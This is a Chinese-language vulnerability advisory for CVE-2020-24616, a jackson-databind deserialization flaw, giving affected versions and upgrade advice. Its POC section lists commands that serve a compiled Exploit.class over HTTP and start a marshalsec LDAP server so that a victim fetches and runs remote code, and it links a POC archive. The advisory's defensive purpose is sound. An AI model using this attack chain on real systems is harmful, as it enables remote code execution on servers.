Jackson反序列化远程代码执行 CVE-2020-24616

—
title: ‘Jackson反序列化远程代码执行 CVE-2020-24616’
date: Sat, 19 Sep 2020 07:49:40 +0000
draft: false
tags: [‘白阁-漏洞库’]
—

#### 漏洞描述

FasterXML Jackson发布了新的高危漏洞（漏洞编号：CVE-2020-24616），其官方团队发布了 jackson-databind 的新版本 2.9.10.6，其中修复了几个反序列化漏洞。 FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具。jackson-databind是其中的一个具有数据绑定功能的组件。 FasterXML jackson-databind 2.9.10.6之前的版本中存在安全漏洞，该漏洞源于不安全的反序列化。远程攻击者可通过精心构造的恶意载荷利用该漏洞在系统执行任意代码。

#### 影响版本

jackson-databind < 2.9.10.6 #### 安全版本 jackson-databind 2.9.10.6 jackson-databind 2.10 #### 漏洞修复 1.建议用户将jackson-databind组件升级到安全版本。 https://github.com/FasterXML/jackson-databind/releases 2.在Jackson 2.10 中引入了Safe Default Typing白名单机制，可杜绝此类gadget的影响。 #### POC 把编译好的exploit.class放置在服务端 开启HTTP服务``` python3 -m http.server 8888 ```或者tomcat都行 启动LDAP``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://x.x.x.x(服务端Ip):8888/#Exploit” 9999 PS:poc中的端口号要和LDAP的对应 本地运行javaPOC  [cve-2020-24616-poc-master](/static/baige/06-中间件框架漏洞/Jackson/./Jackson反序列化远程代码执行 CVE-2020-24616/cve-2020-24616-poc-master.zip)